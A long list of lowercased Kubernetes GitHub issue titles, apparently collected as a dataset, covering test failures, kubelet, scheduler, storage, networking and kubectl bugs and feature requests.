use kubemark to test k8s performance but get: !!! error in ./hack/ginkgo-e2e.sh:117

create a secondary range for the services instead of a subnetwork

failure cluster  309f06...  failed 172 builds, 34 jobs, and 12 tests over 1 days

aws does not fail when provisioning a volume encrypted with inaccessible ksm key.

namespace storage does not remove orphanfinalizer during cascade deletion

e2e proposal: to verify 'requiredduringschedulingignoredduringexecution' node affinity type

simplify desired_state_of_world_populator code for attach/detach controller

staging/src/k8s.io/apiserver/pkg/apis/example/v1/types.go is out of date

kubelet tripping over failed pod + docker daemon, still reporting ready

ci-kubernetes-e2e-gci-gke-pre-release\t failure cluster  363992...  failed 97 builds, 2 jobs, and 1 tests over 1 days

implement getzonebyproviderid and getzonebynodename for all cloud providers

secrets of type docker-registry are incorrectly generated with 1.9.0 kubectl client

consider changing e2e cloud provider flags to gce_not_gke and gke_not_gce

ratelimitedqueue should be stable to multiple adds in the same time tick

conversion generator ignores conversions generated by dependencies

podsecuritypolicy api is enabled but unusable by default, and doesn't have e2es

patching daemonset history to remove its controller ref always fails

failure cluster  84f92e...  failed 103 builds, 26 jobs, and 1 tests over 1 days

add scheduler integration test for volume predicate equivalence cache invalidation

cannot create master for 100-node cluster due to lack of resources in us-central1-f

support to update a container in the statefulset pods without recreating the pods during rolling update.

glusterfs volume always mounts first endpoint instead of random endpoint

mutatingwebhook injecting initcontainers results in a malformed deployment

further evaluate client backoffs for rest clients in chaos scenarios.

k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  slow   feature: ingress  should conform to ingress spec {kubernetes e2e suite}

kube-dns copies 127.0.0.35 from host's /etc/resolv.conf, doesn't work

event spam causes excessive apiserver traffic and frequent snapshots

kubectl zsh autocompletion isn't loaded on first tab by compinit

gce/gke: test/e2e/restart.go - mig rolling update with identical template will not restart nodes

github 'required' and submit-queue.k8s.io 'required' are out of sync

tests that depend on multiple nodes being present should have a skip condition to detect that prerequisite

mysql-wordpress-pd example not claiming created volume as expected on k8s 1.4.7 installed by kops

garbage collector should orphan rs created by deployment when deleteoptions.orphandependents is true

useless error message returned upon failure to get logs during pod termination

kubectl wait <resource> --for condition doesn't say which conditions were not met

high latency after initial scheduling breaks scheduler-perf integration tests.

test failed  regular resource usage tracking resource tracking for 0 pods per node

pod failed to delete due to the  terminationgraceperiodseconds settings

any field with a default value must have default values in all api versions

after node reboot, device manager may start a container requesting device plugin resources before device is ready

nodepidpressure condition should  set to unknown when node lost connnection with contorl

kubectl replaced configmap built from directory does not show new content in a container

k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file {kubernetes e2e suite}

update kubectl.getprinter to not return both nil for the printer and nil for the error on  wide  format

consolidate or make explicit the logic for the node_status and node_controller, to make code more explicit and status logs more obvious to users.

'pull-kubernetes-e2e-kops-aws' failing on release-1.4 branch, preventing merges

taint a aws node if a volume is stuck in \ attaching\  state for too long

daemonset kube-proxy \ number of nodes misscheduled\  is confusing

container can not run: oci runtime error: container_linux.go: not a directory. when mounting configmaps and a subpath in the same directory

multiple pods able to write to pv with accessmode of readwriteonce

failing test  kubeadm-gce and kubeadm-gce-selfhosting are failing on release-master-blocking suite

unable to fetch the kubeadm-config configmap: failed to getapiendpoint: failed to get apiendpoint information for this node

agent clients  showing tcp connection established to api server, but actually doing nothing

unable to sync kubernetes service: endpoints \ kubernetes\  is invalid

k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node {kubernetes e2e suite}

k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed when there is non autoscaled pool feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}

create a library for saturating the cluster that will be shared between density test and scheduler benchmark.

codegen should prefer to write one autogenerated file per package with a constant name

service registry needs to be refactored to be a  fully based on generic store and b  potentially use an initializer for service ip assignment

users should be able to know which namespaces they have permissions against

when edit poddisruptionbudget, improper message was produced and cannot updated labels due to required disruptedpods field

make release errs on os x with default docker-machine configuration

make scheduler less dependent on events for metadata and reasons

browser-based api clients cannot authenticate websocket requests

make it possible to see which items are currently awaiting insert into a rate-limited workqueue

flexvolume  unmount   is skipped and left metadata file uncleaned

kubelet log \ no observation found for eviction signal allocatablenodefs.available\  every 10 sec

flaky tests   sig-storage  csi volumes subpath tests for readonly volumes are flaking in gce-cos-master-default, gce-cos-1.14-default

how to validate client certificate, my application resolves for all digi cert client certificates

handle deleting external load balancers across kube-controller-manager restarts

labels.selectorfromset does not match described behaviour of nil

endpoints for daemonset in host network not ready and inconsistent with pod ips

cannot view logs with -l/--selector for multi-container pods using \ kubectl logs\

client-go external credential provider: support x509 client certs

before suite running and failing occasionally on gci-gce-alpha-features job in master-blocking and release-1.11-blocking tests

k8s.io  network partition  disruptive   slow   k8s.io   job  should create new pods when node is partitioned {kubernetes e2e suite}

scheduler shutdown randomly: schedulercache is corrupted and can badly affect scheduling decisions

minikube pods in \ containercreating\ status with error failed pulling image \ k8s.gcr.io/pause-amd64:3.1\ : error response from daemon: get https://k8s.gcr.io/v2/: x509: certificate signed by unknown authority

unable to decode an event from the watch stream: stream error: stream id 3; internal_error

the apiservice should be able to consume the ca from a configmap

e2e  namespaces  serial  should ensure that all pods are removed when a namespace is deleted.

large clusters failing to come up due to networkunavailable for nodes

skewtest failing gce-1.10-master-upgrade-cluster-new job in sig-release-master-upgrade

flexvolume e2e test for attachable driver: detach errors in controller manager log

union authenticator may send credentials to all authentication providers

e2e: ci-kubernetes-e2e-gce-federation-release-1-7 is not running for a couple of days

failure cluster  1abdc1...  failed 381 builds, 28 jobs, and 2 tests over 1 days

move printer methods in cmdutil.factory to separate interface in separate file

regression in volume provisioning with shared datastore on vsphere

k8s.io  container lifecycle hook when create a pod with lifecycle hook when it is exec hook should execute poststart exec hook properly  conformance  {e2enode suite}

windows/amd64 cross-build is broken: vendor/github.com/docker/docker/pkg/term/windows

docker pull k8s.gcr.io/fluentd-elasticsearch:v2.2.0 failed with authentication required

kubeadm: cannot use podsecuritypolicy admission plugin when using self-hosted

figure out how to pass-through version in multi-phase jenkins jobs

k8s.io  proxy version v1 should proxy to cadvisor using proxy subresource {kubernetes e2e suite}

after recreating the daemonset, the daemonset pod does not run on the not ready node even though the node is recovered

priority admission controller should support enforcing and applying priority classes to pods by namespace

1.10.x upgrade causes api-server to consume a lot of resources and eventually oom

lots of kube-system pods can not get cluster status when enabling gke legacy authorization.

kuberneter v1.12.1 can't mount glusterfs volume with older gluster client

gce 1.5->1.6 upgrade testing: cronjob - the server could not find the expected resource

with dynamically provisioned volume, deleting a pvc tried to delete pv though volume is in use by pod

intermittent http stream error when listing pods causes job failure

consistent use of pointers re: optional in internal and versioned client structs

kubelet: overlapping operations, settling time is too l...o...n...g...

volume with block mode should also be able to be mounted in pods

refactor volume.attacher interface so that mountdevice is no longer coupled with attach

cardinality of admission web hook metrics is too high on clusters with lots of crds or admission controllers

events created from external short-living components might be lost when using record.eventrecorder

kubelet fails to unmount/unmap rbd volume while reporting success

feature request: ability to specify a min/max replica count on scaleable resources

decide on insecureskipverify setting when run against secured etcd

avoid copying tars from local machine to gce during kube-up if the same tars already exist

kubectl oidc plugin: some providers  okta  don't return an id_token on refresh

fatal error throws when enable the --clean-up flags for kube proxy

failing test  openstack conformance is failing in master-informing

volume metrics exposed in /stats/summary not available in /metrics

k8s.io  kubectl client  k8s.io  proxy server should support --unix-socket=/path  conformance  {kubernetes e2e suite}

removing flags at the end of their deprecation period is rarely easy

volumes that finish attaching after pod is deleted take non-trivial amount of time before becoming available

feature request: support reading secrets from terminal in kubectl

e2e node  pause pod created in gpudeviceplugin test by makecudapauseimage   will be  crashloopbackoff  forever

kube-scheduler shouldn't? assign pod to node which not have available ip address

mountvolume.setup failed for volume “mongo-two”: lstat /var/lib/mongo: no such file or directory

componentstatus fails when components are not running on the same host as apiserver

rkt: systemctl restart doesn't tell rktnetes that a pod fails to start

federation: non-federation dns lookup can return federation cname

problem with kubernetes and flocker agent-control node connectivity

azure api problems cause cloud provider to fail and delete all pods

pod stuck in terminating state, pod starting while terminating namespace

same application \bin \btwo namespace ,access through ingress, which  app  i can  get？

k8s.io  dns should provide dns for pods for hostname and subdomain annotation {kubernetes e2e suite}

k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node {kubernetes e2e suite}

federation: cluster replicasets should not be scaled down when federated rs is deleted using kubectl

kubeproxy is sometimes consumes 0.7 cpu on 100 node clusters when doing nothing

kubectl impersonate  --as  doesn't work correctly over http or localhost

kubernetes 1.8.3 - error: etcdserver: mvcc: required revision has been compacted.

failing test:  sig-aws  up failing in ci-kubernetes-e2e-kops-aws and pull-kubernetes-e2e-kops-aws

azure cluster creation fails and exits with an undefined resource exists

k8s.io  services should preserve source pod ip for traffic thru service cluster ip {kubernetes e2e suite}

local-up-cluster.sh failed with error: unable to recognize \ kubedns-deployment.yaml\

nodeconditionpredicates in daemonset should return outofdisk error.

enable aws network load balancer for services of type loadbalancer

failure cluster  02bd8b...  failed 246 builds, 32 jobs, and 1 tests over 1 days

client clusterconfig override should be able to totally neglect any inclusterconfig present already

cdk - known_tokens are wrong when rebooting one of the master randomly

couldn't find network status for {namespace}/{pod_name} through plugin: invalid network status for

kube-controller-manager fails to start with azure cloud provider

port collision between kube-proxy and node-problem-detector  standalone mode

pods request/limits in hz for workaround case with non heterogeneous processors in cluster

pods are not visible with dns name to other pod when they are in notready state

if i hit an api that doesn't exist, the error message is not helpful.

failing test  master-upgrade:gce-new-master-upgrade-cluster-new nodelease deletion node lease should be deleted when corresponding node is deleted

federation: hack/update-codegen.sh fails to generate import_known_versions.go, namespace_expansion.go, fake_namespace_expansion.go

gke: kubectl client kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance

k8s.io  downward api volume should provide node allocatable  memory  as default memory limit if the limit is not set  conformance  {kubernetes e2e suite}

failure cluster  401aef...  failed 227 builds, 36 jobs, and 2 tests over 1 days

failure when attempting to delete secret: invalid padding on input

health and readiness checks uses https on port 80, even though http is defined as scheme.

panic: runtime error: invalid memory address or nil pointer dereference

k8s.io  networking should check kube-proxy urls {kubernetes e2e suite}

there are lots of warning message due to getmountrefs func in windows

allow referencing a tls certificate / secret  secretname  residing in another namespace

resourceversion=\ 0\  causes api list chunking to behave unexpectedly

surface kubectl clusters in kubectl help when talking to federation apiserver

testmetricsdugetcapacity unit test fails on sles 12 go 1.8 ppc64le on master branch

initializer: consider a build-in \ patcher\  for initializer to use

scheduler: maximum parallel for findnodesthatfit and prioritizenodes

getting started guides lack security, leading to information leaks and open remote code execution

hardpodaffinitysymmetricweight should be in scheduler policy config, not in kubeschedulerconfiguration

after device is attached, devicepath of fc and iscsi plugin are empty

proposal: let k8s support change internal storage configmap k/v to external config server

failing tests:  sig-scheduling  schedulerpriorities schedulerpredicates

flag --pod-manifest-path has been deprecated, but alternative going forward is not clear?

x-kubernetes-embedded-resource behavior is not working as specified

federated api servers: expose a discovery endpoint for possible api prefixes

kube-apiserver endpoint is not automatically removed from the endpoints of \ kubernetes\  svc if the master node goes down

webhook servicereference keeps calling 443 port when there is only one non-443 port in servicespec

kube-proxy ipvs mode hangs after a few hours, needs manual restart

vsphere_volume_util.go:187  cloud provider not initialized properly

fix prometheus metrics in kubelet to measure meaningful performance metrics

scalability flake: not all pods in namespace 'kube-system' running and ready within 10m0s

progressdeadlineseconds not respected, failed deployment not detected

kubeproxy does not delete connections for traffic to nodeport service if the backend changes.

failure cluster  cd531c...  failed 63 builds, 5 jobs, and 1 tests over 1 days

in-cluster namespace isn't overridden by kubeconfig if the context is specified via kubectl --context flag.

prestop process is not completed when within termination grace period

failing tests  dns configmap nameserver tests failing in master-blocking

tag all storage e2e tests with  storage  tag so that they can be run explicitly

consider making list a distinct type in  pkg/api  and  pkg/storage

openapi aggregation producing multiple duplicated model definitions

kubelet \ failed mount\  log showing incorrect list of unattached volumes.

eviction-{hard,soft} stops working till kubelet restarted when using devicemapper for imagefs

add  --terminated-pod-gc-threshold-per-node  flag to kube-controller-manager

k8s.io  replicaset should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}

kubelet is not populating the \ memoryreservation\  field in docker container

\ kubectl  apply|create|replace  --save-config\  doesn't save exact config

pod's container status' \ started\  is null after container termination

\ kubectl explain\  should be able to explain \ apiservices\  and \ customresourcedefinition\

pods cannot communicate with service cluster ip mode iptables with macvlan

add a heapster monitoring backend that provides both alerting and graphing functionalities

podpreset application on pod is not consistent incase of a merge conflict

failure cluster  c9235b...  failed 96 builds, 7 jobs, and 1 tests over 1 days

k8s.io/kubernetes/test/integration/scheduler testallocatable flaking

kubernetes reflector keep receive an old deleted service notification.

kublet netowrk hostport and kube-proxy have some duplicated codes

storageos volume mount succeeds even if request to mount via api fails

errors encountered when decoding json/yaml files should be descriptive

rkt: use annotations in the rkt api-service response without unmarshaling the rkt pod manifest

k8s.io  pods should be updated  conformance  {kubernetes e2e suite}

k8s.io  downward api volume should provide container's cpu limit  conformance   volume  {e2enode suite}

refactor rbd persistent volume to support namespace for user's secret

failing test:  sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial  should work after update

in ipv6 cluster, kube-proxy use ip6tables-restore restore rules failed,due to couldn't load target  kube-mark-drop

error 'endpoints kubernetes-dashboard not found' launching docker cluster

k8s.io  downward api volume should update labels on modification  conformance  {kubernetes e2e suite}

allow user friendly glusterfs volume names for dynamically provisioned volumes.

pod tries to mount serviceaccount secret that does not exist when restart docker engine

gci- gce-scalability jobs on 1.6 and 1.7 started failing frequently

unable to use azure disk in statefulset since /dev/sd  changed after detach/attach disk

kubeadm init phase upload-certs reports storing to configmap instead of secret

federation: cloud resources  dns records  need to be cleaned up in ci environments.

tag e2e tests for alpha features as such and exclude them as appropriate from upgrade testing

deployments with gce pd fail with \ ...is already being used by...\

make it possible to authenticate a bootstrap token in different groups

the scaleio volume plugin is not applying  fsgroup   value properly

open virutal network/open vswitch is the only solution for kubernetes windows cluster?

deployment's collision avoidance mechanism is not triggered when a replicaset's non-podtemplatespec field is changed

solution discussion for rebuilding federation service controller cache on restart

failure cluster  0a231e...  failed 61 builds, 2 jobs, and 2 tests over 1 days

some gke tests are failing because of calico-typha pod being unschedulable

failing test   sig-cluster-lifecycle  upgrade and downgrade jobs are failing

kube-controller-manager fails to remove extra pods from a deployment

add a conversion func for intstr.intorstring-> intstr.intorstring

docker stuck on \ open /run/containerd/ elided / elided /process.json: no such file or directory\

namespace arg ignored when using  kubectl create secret --dry-run

when i use kubeadm join.  unfortunately, an error has occurred: \ttimed out waiting for the condition

api to provide the cluster host/ip for a golang project when it in running inside of the cluster

error: failed to run install_fedora_deps  !!! with vagrant quick start method

cherrypick disruption budget/eviction subresource tests for 1.4.1

how kube-dns add forward dns in new version of kubernetes?  in the before version, i can use this way. skydns_nameservers - set a list of nameservers to forward dns requests to when not authoritative for a domain, \ 8.8.8.8:53,8.8.4.4:53\ . overwrite with -nameservers string flag.

podantiaffinity namespace defaults to all, not current as documented

\ created api client, waiting for the control plane to become ready\  hanging forever

kubelet, kube-proxy and kube-dns health checks pass without connectivity to api servers

kubelet should fire sd notify to systemd  like genericapiserver  so it can have clean starts

running second selective copy of kube-scheduler keeps assigning pods to nodes even after nodes are full

application communication is failing due to dns services are getting restarted within kubernetes cluster

kubectl apply deployment -f  doesn't accept label/selector changes

storage allocatable does not take eviction thresholds into account

the kubernetes-dashboard addon does not contain the rbac binding it needs

unable to mount volumes for pod \ mypod_default 0d57f079-d709-11e7-94c9-00163e30bcc9 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mypod\

can not use specified storage account in other resource group for azure disk&file dynamic provisioning

\ hack/update-bazel.sh\  with several complaints about \ too few values in struct initializer\  on release 1.8

nodecontroller should add noschedule taints and we should get rid of getnodeconditionpredicate

\ kubectl get all\  or \ kubectl get x --show-type\  do not show the resource type in kubectl v1.10.0

kubectl get pods.v1beta1.metrics.k8s.io fails, but should succeed

api server should return 4xx for json patch operation that is not allowed instead of 200

kube-scheduler is missing permissions for delegated authentication

docker garbage collection not working and desribe node log wrong allocatable ephemeral-storage

kubectl delete|get  all foo  should delete the aliased resources named 'foo'

why the image that built by myself dont run on the kubernetes,and the pod always restart?

glusterfs volume provisioner not creating volumes with default 'replicate' durability type.

ci-kubernetes-e2e-gke-gci-1.3-gci-1.5-upgrade-cluster-new: broken test run

failure cluster  20b870...  failed 89 builds, 27 jobs, and 2 tests over 1 days

flake  pull-kubernetes-kubemark-e2e-gce test success marked as failed

addon resizer v2.0 significantly decreases resources for heapster

using taints/tolerations, statefulset volume created in wrong aws az

kubelet config flag --hairpin-mode=hairpin-veth no longer works as expected in k8s v1.7.4

failing test:  sig-cli  kubectl client tests failing in sig-release-master-blocking and master-upgrade

kubeadm: specify a service account for pre-pulling images with right pod security policy

kubeletes notready because of lack of cni plugin make cluster startup scripts fail.

k8s.io  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} {kubernetes e2e suite}

failure cluster  4df909...  failed 67 builds, 3 jobs, and 8 tests over 1 days

the scheduler cache generation number could cause use of stale information if a node is deleted and added back with the same name.

allow update of pv/pvc.spec.storageclassname when moving from beta annotation

device unmap for local volume in block mode fails due to empty device path

how can a specific port on a node be exposed and allow access via it's outgoing ip address?

k8s.io  variable expansion should allow composing env vars into new env vars  conformance  {kubernetes e2e suite}

master node not becoming \ ready\  after cluster init due to cni issues

make kubernetes/staging/src/k8s.io/foo the authoritative source for all files that live in kubernetes/foo

for  horizontal pod autoscaling enable flag to don't count in currentreplicas pods that are  not ready

k8s.io  emptydir volumes should support  root,0666,tmpfs   conformance  {kubernetes e2e suite}

filtered some unused variables and logic problems in cloudprovider package

flexvolume: \ no volume plugin matched\  on kubelet restart if container exits while kubelet was down

dynamic volume provisioning in examples: volume. alpha|beta .kubernetes.io/storage-class

user \ system:serviceaccount:kube-system:kube-proxy\  cannot list services at the cluster scope

federation  deleting a service in underlying cluster, then deleting in federation plane causes dns api request spam on gce

scheduler and kubelet should consider resources of terminated-but-not-yet-deleted pods to still be in use.

e2e test framework should support collecting logs for alternative container runtime daemon.

mutating admission webhooks: apiserver needs to default patched objects

remove rescheduler once scheduling ds pods by default scheduler moves to beta.

kube-up.sh fails with \ parent directory not present\  error in vagrant setup

k8s.io  emptydir volumes should support  root,0777,tmpfs   conformance   volume  {e2enode suite}

openapi scheme resource types should say whether they are namespaced or not

flaky test: deployment deployment should support rollover causes pr:pull-kubernetes-e2e-gce-etcd3 flaked 125 times in the past week

taintexternalcloudprovider is removed before external cloud provider acts on it

switch storage version for networking.k8s.io/v1 and extensions/v1beta1's networking types to networking.k8s.io/v1

volume reconstruction after kubelet restarts might not work for some plugins.

two pod ips are same, one is controlled by deployment and the other by statefulset

port forward fail on k8s 1.5.1, saying \ /usr/bin/nsenter: resource temporarily unavailable\

iscsi doesn't give enough time multipathd to create multipath device

an error of kube-scheduler about k8s_v1.9.4, looking for the sloves

flaky ipvs test:  sig-network  services should have session affinity work for loadbalancer service with esipp on  slow   disabledforlargeclusters

unclear documentation: services, nodeports, and custom load balancers

apiserver was unable to write a json response: internal error occurred:

k8s.io  downward api should provide default limits.cpu/memory from node allocatable  conformance  {e2enode suite}

e2e test failure   sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator

csr approver controller should be able to approve csrs for control plane components

kube-proxy can't create clusterip ipvs rules when externaltrafficpolicy=local

flaky test: unit/integration failed in “testnamespacecontroller.go”

documentation on what constitutes a failed container with respect to restart policy is confusing

proposal  enable azure cloudprovider to use emsi certificate for authentication

in the yaml of  statefulsets,  can volumeclaimtemplates and volumes not coexist?

check plugin.canattach when volumemanager.findattachablepluginbyname is used

master branch cannot be cloned on windows due to ' ' in file names

traffic to hostports blackholed/misdirected when hostport's pod ip changes

feature request  adding a script that adds nodes to k8s cluster on the fly

make gci journal logs exported by fluentd more user-friendly in the log viewer

deleting federated ingress object doesn't delete associated load balancers and external ip address  on gcp

upgrade test  \ pods should not start app containers and fail the pod if init containers fail on a restartnever pod\  failing in gke-container_vm-1.3-container_vm-1.5-upgrade-master

are there plans to make the ordinal index for a statefulset available dynamically within a config file?

failure cluster  c376a6...  failed 53 builds, 3 jobs, and 1 tests over 1 days

nodenetworkunavailable  taintnodesbycondition  does not work with preemption

rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available

resource kinds are not shown by default when using kubectl get with custom categories

intermittent dns resolution failures in pods, but only right after pod creation

cannot get  client.config to load properly - s/mergo.merge/mergo.mergewithoverwrite/ update needed

kubectl run  doesn’t work for simple \ run command, parse result\

k8s.io  emptydir volumes should support  non-root,0644,tmpfs   conformance  {kubernetes e2e suite}

authorization policy should be able to require \ trusted images\

failure cluster  dc7df8...  failed 101 builds, 21 jobs, and 1 tests over 1 days

k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod {e2enode suite}

services should only allow access from service loadbalancer source ranges broken on aws

missing definition for io.k8s.apimachinery.pkg.apis.meta.v1.patch in api

flaky test : k8s.io/kubernetes/test/integration/scheduler.testvolumebindingstress failing in presubmits and ci jobs

kubectl rollout status  should adhere to the deployment strategy parameters

iptables not matching ingress packets with external ip as destination

no nodes are available that match all of the following predicates:: nodeundermemorypressure  1 .

the meaning that flags of command 'kubectl run/create/apply' add '--force' and '--grace-period'

issues with long polling/persistent connections between containers

k8s.io  emptydir volumes should support  non-root,0777,tmpfs   conformance  {kubernetes e2e suite}

daemonset pods randomly fail to start on management nodes after reboot

hpa should allow definition of time period to average over for scaling operations

unsetting the property of a non-existent context creates that context

kubernetes aws cloud provider: x509: failed to load system roots

resources are not checked before scheduling pod with nodename specified

scheduler cleanup phase 1 : move scheduler cache interface and implementation to pkg/scheduler/internal/cache

shared volume of 1 container into another container in kubernates

replication controller with metadata.name length equal to 55 characters fails.

enable  kubefed init  support  imagepullsecrets  and  imagepullpolicy

azure route creation is failing when using non standard lb with vmss

cpu scheduler can't configure kube-proxy related pod cgroup settings in \ static\  mode

pkg/client separation from godep, or using godep save -r ./..., or ?

k8s.io  kubectl client  k8s.io  kubectl run deployment should create a deployment from an image  conformance  {kubernetes e2e suite}

k8s.io  proxy version v1 should proxy to cadvisor {kubernetes e2e suite}

flaky test: opaque resources should schedule pods that initially do not fit after enough opaque integer resources are freed

gce upgrade test failure - services should work after restarting apiserver

federation presubmit test failing on release-1.7, blocking merges

e2e test failing: volume metrics should create prometheus metrics for volume provisioning and attach/detach

dashboard \ exec\  should run cmd.exe on windows pods instead of bash

openstack cloud provider invalid memory address or nil pointer dereference

aws: refactor addsecuritygroupingress / removesecuritygroupingress to use sets

rkt: when using the rkt runtime, images are pulled too aggressively with imagepolicy always

gce 1.5->1.6 upgrade testing:  k8s.io  monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster. 6.10s

where to find error code status meaning of apiserver running error?

how to specify each pod with distinct config in replication controller?

liveness/readiness probe is executed and failed while pod is terminated

advanced audit  audit policy should support “/ ” matching all subresources

should ignore address not exist error when unbind ipvs serivce address from dummy device

kubernetes api server fails to make tls connection to the dex server:certificate signed by unknown authority

kubectl get rs  should be ordered better and hide 0 replica ones by default

kubernetes components should export metrics in prometheus format

cos docker validation node test needs to run against gci-next-canary

volumes are not mounted after rebooting a node.  effects flexvolume/fc/iscsi

failedscheduling event \ matchnodeselector\  confusing/incorrect

admission/webhook: breaking change: post and put error messages might change

kubernetes federation - unable to init the federation control plane

leader election get/update too frequently, consuming too much cpu resource.

aggregated clusterrole validation is incompatible with kubectl apply

expose active service health checks via kube-proxy rest monitoring interface

the status of persistent volumes always is pending when i create a new pv.

ux issue with updating objects with empty pending initializers list

kube-proxy in ipvs mode flushes other ipvs configs not configured by it

rbac issue : error from server  forbidden : pods is forbidden: user \ root\  cannot list pods in the namespace \ shopping\

job - target existing pod and container to carry out command execution.

kube 1.13.5 - nodes backed w/ cri-o unable to properly autoscale pods due to metrics-server/kubelet issue

should have better information on how to use the rest api to get information, do service config, etc.

idea: support delegation of volume handling to a container process

is there a way to connect kubernetes to private self signed registry

split configmap, secret, and downwardapi tests into two files: volume and non-volume

adding sig-storage label to upgrade tests and move them to appropriate storage directory.

kubernetes-1.9.3alpha, weave-net sandbox pod can not be started \ no such network: host\  on windows server 2016 node

pod events not descriptive enough when given memory limits that are too low

apt-mirror errorring out, no md5 checksum issue on ubuntu 16.04 lts

ipvs proxier update service too slow, it waits until a sync period.

allow extension api server to read requestheader-client-ca from extension-apiserver-authentication configmap

kubelet had better to obtain type and size of storage in detail.

kubernetes stops working after upgrade, unable to ping or ssh from pod containers

etcd3 storage does not properly type errors so that higher layers can react

cpu_manager \ failed to write a  :  rwm to devices.allow\  error message

empty podcidr in kubelet logs when pod cidr allocation is not used

vagrant 1.8.5 and vsphere detection cause ssh authentication to fail

k8s.io  pods should be submitted and removed  conformance  1m42s

exception on get /api/v1/proxy/namespaces/kube-system/services/heapster/api/v1/metric-export

external qos controller and implement resizing a pod/container resource envelope via update in the api server.

listimages    handle docker.io/library not consistently across different cri runtimes

failing test  gce-scale-performance failed due to high latency endpoints post request

api documentation: convert swagger spec into yaml  to make life easier for humans producing the documentation website

random build failure on fast nodes while saving docker containers into tarballs.

job mounting nfs volumes will after some runs be unable to mount

make log-rotation maxsize and/or  files on vm configurable through salt

add network unavailable toleration to the pod using host network

kubeadm : clusterdns value is not changing for different service cidr

failing tests  customresourceconversionwebhook and customresourcepublishopenapi failing in master-blocking

k8s.io  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on {kubernetes e2e suite}

ci-kubernetes-e2e-gci-gke-slow has been broken since 21:19pm est yesterday

failure cluster  b556b8...  failed 128 builds, 39 jobs, and 1 tests over 1 days

kubectl logs error from server  forbidden : forbidden  user=system:anonymous, verb=get, resource=nodes, subresource=proxy

ipv6-only pod get killed because of 'failed to get ip addresses for \ eth0\ :'

ipvs proxier: fixed subset of nodes  proxier iptables or ipvs  lose connectivity to remote pods on nodes with ipvs

scheduler user guide documentation  how does the kubernetes scheduler works?

admission controllers can cause unnecessary significant load on apiserver

avoid putting heavy load on etcd by issuing unnecessary/large relist

unregistered types should have a group version kind extension in open api

failure cluster  4c3f2f...  failed 88 builds, 2 jobs, and 1 tests over 1 days

enable all predicates/priorities in alpha features e2e test environment.

kubectl cp fails to change owner and permission with destination container runs as root and does not have owner capabilities

transition serviceaccount admission controller to improved service account token volumes

endpoints api object could not support large number of endpoints

failed deployment upgrade-  removing a serviceaccount from a deployment template does not get applied to kubernetes deployment object

pod should not be pending if there is a fundamental error  e.g. image cannot be found

gce-pd in-tree plugin creates pv with spec.capacity of same size as size of request capacity regardless of actual storage size during dynamic provisioning

scheduler cleanup phase 1 : simplify kube-scheduler’s server.go  run

unable to access a kubernetes service of type as “nodeport”, using ec2 public ip

flaky test   k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 0 pods per node

getting started: \ running kubernetes locally via docker\  doesn't work on max os x

aws: s3 buckets publicly accessible and wrong permissions in template

k8s.io  configmap should be consumable via environment variable  conformance  {e2enode suite}

kubelet \ unable to mount volumes\  for short lived pod that ran to completion/mounted volumes successfully

aggregator test should cleanup api service before namespace cleanup.

fail to get rootfs information unable to find data for container /

kubelet : depends: kubernetes-cni  = 0.6.0  but 0.7.5-00 is to be installed

azure disk detach backoff cancelled due to error \ detach azure disk failure, disk  not found\

create policy, infra, & best practices for testing contrib projects/pods

nullpointerexception due to filestore should support file stores with > long.max_value capacity on elasticsearch cluster within kubernetes petsets + coreos + aws

support authentication-enabled photon controller platform in photon cloud provider

federation  replacing deployment definition does not evenly distribute replicas across clusters

add support for google cloud kms as encryption provider for encryption at rest

pod failure due to lack of system resources is directly visible in cli.

add support for verifying attached but desired to be detached pvcs

docs still say to set cloud-provider/cloud-config in apiserver, but api server fails to start if you do.

hpa not working properly when pod status \ unknown\   node failure

patching a statefulset's containerports causes values to be clobbered

scheduler fails to schedule pods due to \ insufficient cpu\  while nodes have enough resources

mechanism for running node e2e tests with specific host requirements

aggregator api & metrics-server: access for clusters w/ separation of concerns architectures

kubefed init can not use namespace that already exist in the cluster

service controller has race at startup which causes updateloadbalancer to not be called

need a multi-arch kube-proxy image to allow a single daemonset to support multiple-arch nodes

openstack implementation does not account arbitrary fixed/floating ip pool names

adding support for qos cgroup hierarchy and pod level resource management in kubelet

hack/update-api-reference-docs.sh is not consistent with hack/verify-api-reference-docs.sh

/healthz of the apiserver should return ok first when ready to serve requests

no nodes are available that match all of the predicates: matchnodeselector

kubectl --validate should report line numbers of json syntax errors

improve the test: validate oom score adjustments once the node is setup pod infra containers oom-score-adj should be -998 and best effort container's should be 1000

kubernetes_provider is centos,cluster/kube-up.sh don't work, k8s 1.5.2

kube proxy using incorrect conntrack cli flags for ipv6 operation

avoid initial allocation delay in ipamfromcloud and ipfromcluster allocator

crd additionalprintercolumns does not work with kubectl get something -w

setting deletiontimestamp in a controller should bump its generation.

failure cluster  171d3d...  failed 101 builds, 3 jobs, and 1 tests over 1 days

kubelet failing to collect filesystem states leads to node disk pressure

scheduler cleanup phase 2 : move predicate and priority registration into their own packages

trailing whitespace in tokenfile causes  net/http: invalid header field value  error

resoucequote admission will update resourcequota in apiserver even though pod created failed.

pluginwatcher:  if do not close watcher when timeout is expected?

flaking tests  multiple sig-storage tests in the gce-new-master-upgrade-cluster job

run conformance tests against single node docker and multi-node docker

kubelet logs \ conversion.go:128 failed to handle multiple devices for container. skipping filesystem stats\

federation  updating a deployment on federation with a failed rs, unbalance the rs counts on underlying clusters.

failure cluster  8c8797...  failed 129 builds, 11 jobs, and 2 tests over 1 days

e2e conformance test  validates that nodeselector is respected if matching  fails on an 1.7.5 aws cluster with ubuntu nodes

volumes: data race in test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce

